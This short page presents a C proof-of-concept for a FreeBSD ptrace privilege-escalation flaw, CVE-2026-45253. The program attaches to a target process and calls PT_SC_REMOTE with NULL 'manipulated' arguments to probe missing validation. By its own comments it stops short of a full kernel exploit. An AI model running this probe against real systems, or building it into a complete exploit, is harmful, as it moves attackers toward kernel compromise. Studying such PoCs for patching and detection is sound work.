CVE-2026-45253 FreeBSD ptrace权限提升漏洞

/* * PoC for CVE-2026-45253 * This code demonstrates the concept of using ptrace with PT_SC_REMOTE * to trigger the missing validation vulnerability. * NOTE: For educational purposes only. */ #include <sys/ptrace.h> #include <sys/types.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { pid_t pid; if (argc < 2) { printf("Usage: %s <target_pid>\n", argv[0]); return 1; } pid = atoi(argv[1]); // Attach to the target process if (ptrace(PT_ATTACH, pid, NULL, 0) == -1) { perror("ptrace attach"); return 1; } printf("Attached to process %d\n", pid); // Wait for the process to stop wait(NULL); // Attempt to exploit PT_SC_REMOTE with invalid syscall parameters // In a real exploit, specific registers/memory would be manipulated // to achieve kernel code execution. struct ptrace_sc_remote req; req.pscr_sysent = NULL; // Manipulated argument req.pscr_args = NULL; // Manipulated argument if (ptrace(PT_SC_REMOTE, pid, (caddr_t)&req, 0) == -1) { perror("ptrace PT_SC_REMOTE"); } else { printf("PT_SC_REMOTE executed. Check kernel status.\n"); } // Detach ptrace(PT_DETACH, pid, (caddr_t)1, 0); return 0; }